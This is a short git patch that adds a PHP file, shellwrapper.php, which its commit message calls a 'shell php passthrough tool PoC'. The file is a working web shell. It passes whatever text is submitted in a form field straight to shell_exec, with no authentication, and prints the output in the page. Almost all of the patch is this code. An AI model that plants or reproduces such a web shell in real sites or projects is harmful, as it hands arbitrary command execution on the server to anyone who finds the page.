From 78c1bab624440aa6a0576c82696f08c99001fd70 Mon Sep 17 00:00:00 2001
From: Kyle K <kylek389@gmail.com>
Date: Wed, 17 Dec 2014 18:46:12 -0600
Subject: add a shell php passthrough tool PoC

---
 shellwrapper.php | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)
 create mode 100644 shellwrapper.php

diff --git a/shellwrapper.php b/shellwrapper.php
new file mode 100644
index 0000000..cf14c20
--- /dev/null
+++ b/shellwrapper.php
@@ -0,0 +1,20 @@
+<?php
+
+if (!empty($_POST)) {
+    $command = htmlspecialchars($_POST['command']);
+    $output = shell_exec($command);
+    echo "<pre>$output</pre>";
+}
+
+?>
+
+<form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
+    <div style="display: inline;">
+        <p>enter your command below</p>
+        <label for="command">$:</label>
+        <input type="text" id="command" name="command" /> <!-- name attr is needed otherwise $_POST would be empty -->
+    </div>
+    <div style="display: inline;">
+        <input type="submit" value="Execute" />
+    </div>
+</form>
-- 
cgit v1.2.3